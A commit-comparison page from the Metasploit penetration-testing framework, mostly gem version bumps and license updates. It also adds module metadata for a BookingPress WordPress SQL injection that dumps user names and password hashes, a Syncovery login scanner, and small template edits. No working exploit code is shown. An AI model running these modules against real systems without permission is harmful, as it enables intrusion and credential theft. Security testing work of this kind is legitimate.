Compare commits
116 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 28cf7ea55c | |||
| dd3decb436 | |||
| 2fc8b0a7a6 | |||
| e7b20ad155 | |||
| 115946cd06 | |||
| 77bda68932 | |||
| e7d72e0ecf | |||
| fd8bdf4daf | |||
| 8fbb4d2fde | |||
| e7e2849f6d | |||
| ddaf5a3f0d | |||
| ef31ab861f | |||
| aaef7726db | |||
| 009fd0deb5 | |||
| d48319a867 | |||
| 89009fa66e | |||
| cb68c255bb | |||
| 4b008d6ea8 | |||
| 41edc92d5d | |||
| 1fec75621c | |||
| f29b4fad75 | |||
| e08b426537 | |||
| 37540572e0 | |||
| 2e4be42f57 | |||
| 54cd055276 | |||
| 085456eeaf | |||
| 6e7d4edf02 | |||
| 8e9e8468f2 | |||
| 7a46cff0a1 | |||
| dc604f1fcf | |||
| 4e539df3c3 | |||
| 0d3c1dc122 | |||
| a4aff6537d | |||
| 14d05c9c6c | |||
| c1ff9337c8 | |||
| 431804ef15 | |||
| d90dee8235 | |||
| 96da805014 | |||
| b32ec581d8 | |||
| 364fb85e1d | |||
| 271588bde9 | |||
| 04dc8e8455 | |||
| a649c5b9d1 | |||
| 7ec7cdfb97 | |||
| 4207449382 | |||
| 867059efe5 | |||
| 62b484fdc7 | |||
| fbc842693f | |||
| 03bb062c2e | |||
| dcff4d37b6 | |||
| b9c18de4fe | |||
| 13ab155545 | |||
| 039b611fae | |||
| 330cb2944b | |||
| 07a91df7a1 | |||
| d3057f15b2 | |||
| 60180a4442 | |||
| 35bbfc8af4 | |||
| 8ea8e2410d | |||
| 8a66a359a6 | |||
| 5d3cfa69b8 | |||
| 3462dc6bf4 | |||
| 264d45e04a | |||
| f24df8a051 | |||
| 009c6c5350 | |||
| c49dd0b6cd | |||
| de75f0ecbe | |||
| 9aa1a84b3a | |||
| 638a1c8f78 | |||
| 25a0d0ff0e | |||
| c218063a1a | |||
| ed954eec0c | |||
| b7cf112d42 | |||
| ffbf8b303a | |||
| 28a68ede8c | |||
| 3805a79079 | |||
| 3f58bfe11e | |||
| 7227bec259 | |||
| 8c9e2c9fc7 | |||
| d141efcbfe | |||
| 181b8e4eea | |||
| d4536b24a6 | |||
| ed99f2f67f | |||
| 6877304bac | |||
| 5e93ed3bae | |||
| 40f97995f8 | |||
| f12c660652 | |||
| 7a795c5adb | |||
| 9a19c4411d | |||
| dff9b35d56 | |||
| bc89721d7a | |||
| f6bdbbd359 | |||
| 29d57dde66 | |||
| fc7594dbc8 | |||
| 771b66f570 | |||
| 0065cff169 | |||
| 4624031aec | |||
| 4979c0b74f | |||
| ab2042f34e | |||
| 3ac3fa6c32 | |||
| d6f27a8a71 | |||
| 11936affd1 | |||
| b60b440697 | |||
| 62e0500729 | |||
| 8f6fd55d9f | |||
| 2fc637438f | |||
| 8332bff1d8 | |||
| 2eb4c27d0c | |||
| fa2f2e6d5d | |||
| 25757d45be | |||
| 9ce9c63a03 | |||
| 3179fc11b3 | |||
| 8ba86a646c | |||
| b0a6c60684 | |||
| 9cb136a209 | |||
| 1757a5dedf |
+57
-57
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.28)
|
||||
metasploit-framework (6.2.30)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -128,30 +128,30 @@ GEM
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.648.0)
|
||||
aws-sdk-core (3.162.0)
|
||||
aws-partitions (1.671.0)
|
||||
aws-sdk-core (3.168.3)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.341.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-ec2 (1.354.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.71.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-iam (1.73.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.58.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-kms (1.60.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.115.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-s3 (1.117.2)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sigv4 (1.5.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.13)
|
||||
bindata (2.4.14)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
@@ -160,8 +160,8 @@ GEM
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
debug (1.6.2)
|
||||
irb (>= 1.3.6)
|
||||
debug (1.7.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
dnsruby (1.61.9)
|
||||
@@ -185,12 +185,12 @@ GEM
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (2.23.0)
|
||||
faker (3.0.0)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.6.0)
|
||||
faraday (2.7.1)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.1)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.0.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
@@ -216,12 +216,12 @@ GEM
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.11)
|
||||
irb (1.4.2)
|
||||
irb (1.5.1)
|
||||
reline (>= 0.3.0)
|
||||
jmespath (1.6.1)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.2)
|
||||
json (2.6.3)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
@@ -229,13 +229,13 @@ GEM
|
||||
loofah (2.19.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.0)
|
||||
memory_profiler (1.0.1)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (4.0.5)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-credential (5.0.9)
|
||||
metasploit-credential (6.0.0)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -250,7 +250,7 @@ GEM
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-payloads (2.0.101)
|
||||
metasploit_data_models (5.0.5)
|
||||
metasploit_data_models (5.0.6)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
arel-helpers
|
||||
@@ -258,7 +258,7 @@ GEM
|
||||
metasploit-model (>= 3.1)
|
||||
pg
|
||||
railties (~> 6.0)
|
||||
recog (~> 2.0)
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.20)
|
||||
method_source (1.0.0)
|
||||
@@ -271,9 +271,9 @@ GEM
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.17.1)
|
||||
net-protocol (0.1.3)
|
||||
net-protocol (0.2.0)
|
||||
timeout
|
||||
net-smtp (0.3.2)
|
||||
net-smtp (0.3.3)
|
||||
net-protocol
|
||||
net-ssh (7.0.1)
|
||||
network_interface (0.0.2)
|
||||
@@ -292,17 +292,17 @@ GEM
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.1.2.1)
|
||||
parser (3.1.3.0)
|
||||
ast (~> 2.4.1)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.10.0)
|
||||
pdf-reader (2.11.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.4)
|
||||
pg (1.4.5)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -312,9 +312,9 @@ GEM
|
||||
public_suffix (5.0.0)
|
||||
puma (6.0.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
racc (1.6.1)
|
||||
rack (2.2.4)
|
||||
rack-protection (3.0.2)
|
||||
rack-protection (3.0.4)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
@@ -332,10 +332,10 @@ GEM
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.23)
|
||||
recog (3.0.3)
|
||||
nokogiri
|
||||
redcarpet (3.5.1)
|
||||
regexp_parser (2.6.0)
|
||||
regexp_parser (2.6.1)
|
||||
reline (0.3.1)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
@@ -388,18 +388,18 @@ GEM
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.11.0)
|
||||
rspec-core (~> 3.11.0)
|
||||
rspec-expectations (~> 3.11.0)
|
||||
rspec-mocks (~> 3.11.0)
|
||||
rspec-core (3.11.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-expectations (3.11.1)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-mocks (3.11.1)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.1)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
@@ -410,25 +410,25 @@ GEM
|
||||
rspec-support (~> 3.11)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.11.1)
|
||||
rubocop (1.37.0)
|
||||
rspec-support (3.12.0)
|
||||
rubocop (1.39.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.2.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.22.0, < 2.0)
|
||||
rubocop-ast (>= 1.23.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.22.0)
|
||||
rubocop-ast (1.24.0)
|
||||
parser (>= 3.1.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.0)
|
||||
ruby_smb (3.2.1)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -445,12 +445,12 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.0.2)
|
||||
sinatra (3.0.4)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.0.2)
|
||||
rack-protection (= 3.0.4)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.5.3)
|
||||
sqlite3 (1.5.4)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (3.0.0)
|
||||
@@ -460,12 +460,12 @@ GEM
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.0.11)
|
||||
timecop (0.9.5)
|
||||
timeout (0.3.0)
|
||||
timecop (0.9.6)
|
||||
timeout (0.3.1)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.5)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
@@ -496,7 +496,7 @@ GEM
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.1)
|
||||
zeitwerk (2.6.6)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+33
-33
@@ -10,16 +10,16 @@ afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.648.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.162.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.341.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.71.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.58.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.115.0, "Apache 2.0"
|
||||
aws-partitions, 1.663.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.168.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.350.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.73.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.59.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.117.1, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.13, ruby
|
||||
bindata, 2.4.14, ruby
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
@@ -29,7 +29,7 @@ concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
debug, 1.6.2, "ruby, Simplified BSD"
|
||||
debug, 1.6.3, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.9, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
@@ -41,9 +41,9 @@ erubi, 1.11.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.23.0, MIT
|
||||
faraday, 2.6.0, MIT
|
||||
faraday-net_http, 3.0.1, MIT
|
||||
faker, 3.0.0, MIT
|
||||
faraday, 2.7.1, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
@@ -59,21 +59,21 @@ http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.12.0, MIT
|
||||
io-console, 0.5.11, "ruby, Simplified BSD"
|
||||
irb, 1.4.2, "ruby, Simplified BSD"
|
||||
irb, 1.4.3, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.1, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.2, ruby
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.19.0, MIT
|
||||
memory_profiler, 1.0.0, MIT
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.5, "New BSD"
|
||||
metasploit-credential, 5.0.9, "New BSD"
|
||||
metasploit-framework, 6.2.28, "New BSD"
|
||||
metasploit-framework, 6.2.30, "New BSD"
|
||||
metasploit-model, 4.0.6, "New BSD"
|
||||
metasploit-payloads, 2.0.101, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
metasploit_data_models, 5.0.6, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.0, MIT
|
||||
@@ -85,7 +85,7 @@ mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-protocol, 0.1.3, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.2, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.3, "ruby, Simplified BSD"
|
||||
net-ssh, 7.0.1, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
@@ -101,15 +101,15 @@ parallel, 1.22.1, MIT
|
||||
parser, 3.1.2.1, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.10.0, MIT
|
||||
pg, 1.4.4, "Simplified BSD"
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.4.5, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 5.0.0, MIT
|
||||
puma, 6.0.0, "New BSD"
|
||||
racc, 1.6.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.4, MIT
|
||||
rack-protection, 3.0.2, MIT
|
||||
rack-protection, 3.0.3, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.3, MIT
|
||||
@@ -117,9 +117,9 @@ railties, 6.1.7, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.23, unknown
|
||||
recog, 3.0.3, unknown
|
||||
redcarpet, 3.5.1, MIT
|
||||
regexp_parser, 2.6.0, MIT
|
||||
regexp_parser, 2.6.1, MIT
|
||||
reline, 0.3.1, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
@@ -141,29 +141,29 @@ rex-text, 0.2.46, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.11.0, MIT
|
||||
rspec-core, 3.11.0, MIT
|
||||
rspec-expectations, 3.11.1, MIT
|
||||
rspec-mocks, 3.11.1, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.0, MIT
|
||||
rspec-expectations, 3.12.0, MIT
|
||||
rspec-mocks, 3.12.0, MIT
|
||||
rspec-rails, 6.0.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.1, MIT
|
||||
rubocop, 1.37.0, MIT
|
||||
rubocop-ast, 1.22.0, MIT
|
||||
rspec-support, 3.12.0, MIT
|
||||
rubocop, 1.39.0, MIT
|
||||
rubocop-ast, 1.23.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.2.0, "New BSD"
|
||||
ruby_smb, 3.2.1, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.0.2, MIT
|
||||
sqlite3, 1.5.3, "New BSD"
|
||||
sinatra, 3.0.3, MIT
|
||||
sqlite3, 1.5.4, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
@@ -173,7 +173,7 @@ timecop, 0.9.5, MIT
|
||||
timeout, 0.3.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.5, MIT
|
||||
tzinfo-data, 1.2022.5, MIT
|
||||
tzinfo-data, 1.2022.6, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.3.0, MIT
|
||||
@@ -188,4 +188,4 @@ winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.6.1, MIT
|
||||
zeitwerk, 2.6.6, MIT
|
||||
|
||||
+2
@@ -71,6 +71,8 @@
|
||||
<B N="V"><%= arg[:value].to_s %></B>
|
||||
<% elsif arg[:value].is_a? String %>
|
||||
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
|
||||
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
|
||||
<%= arg[:value].to_s %>
|
||||
<% end %>
|
||||
</MS>
|
||||
</Obj>
|
||||
+1
-1
@@ -8,7 +8,7 @@
|
||||
</soap:Header>
|
||||
<soap:Body>
|
||||
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
|
||||
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
|
||||
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
|
||||
</m:ResolveNames>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
@@ -54,4 +54,5 @@ easy-wp-smtp
|
||||
duplicator_download
|
||||
custom-registration-form-builder-with-submission-manager
|
||||
woocommerce-abandoned-cart
|
||||
elementor
|
||||
elementor
|
||||
bookingpress
|
||||
|
||||
+395
-42
@@ -13777,7 +13777,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/dos/upnp/miniupnpd_dos.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/upnp/miniupnpd_dos",
|
||||
@@ -15496,7 +15496,7 @@
|
||||
"Lnk Creation Code by Mubix",
|
||||
"asoto-r7"
|
||||
],
|
||||
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
|
||||
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
|
||||
"references": [
|
||||
"URL-https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018",
|
||||
"URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/",
|
||||
@@ -15512,7 +15512,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/fileformat/multidrop.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "fileformat/multidrop",
|
||||
@@ -19696,7 +19696,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-14 12:27:38 +0000",
|
||||
"mod_time": "2022-12-07 10:48:07 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
|
||||
@@ -19791,7 +19791,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-10-28 14:16:49 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_query.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_query",
|
||||
@@ -21938,6 +21938,66 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/wp_bookingpress_category_services_sqli": {
|
||||
"name": "Wordpress BookingPress bookingpress_front_get_category_services SQLi",
|
||||
"fullname": "auxiliary/gather/wp_bookingpress_category_services_sqli",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-02-28",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"cydave",
|
||||
"destr4ct",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data\n in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action\n (available to unauthenticated users), prior to using it in a dynamically constructed SQL query.\n As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive\n data from the backend database such as usernames and password hashes.\n\n This module uses this vulnerability to dump the list of WordPress users and their associated\n email addresses and password hashes for cracking offline.",
|
||||
"references": [
|
||||
"URL-https://github.com/destr4ct/CVE-2022-0739",
|
||||
"WPVDB-388cd42d-b61a-42a4-8604-99b812db2357",
|
||||
"CVE-2022-0739"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-15 09:08:38 +0000",
|
||||
"path": "/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/wp_bookingpress_category_services_sqli",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/wp_ultimate_csv_importer_user_extract": {
|
||||
"name": "WordPress Ultimate CSV Importer User Table Extract",
|
||||
"fullname": "auxiliary/gather/wp_ultimate_csv_importer_user_extract",
|
||||
@@ -34317,7 +34377,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/smt_ipmi_static_cert_scanner",
|
||||
@@ -35108,6 +35168,62 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/syncovery_linux_login": {
|
||||
"name": "Syncovery For Linux Web-GUI Login Utility",
|
||||
"fullname": "auxiliary/scanner/http/syncovery_linux_login",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Jan Rude"
|
||||
],
|
||||
"description": "This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": 8999,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 13:34:06 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/syncovery_linux_login.rb",
|
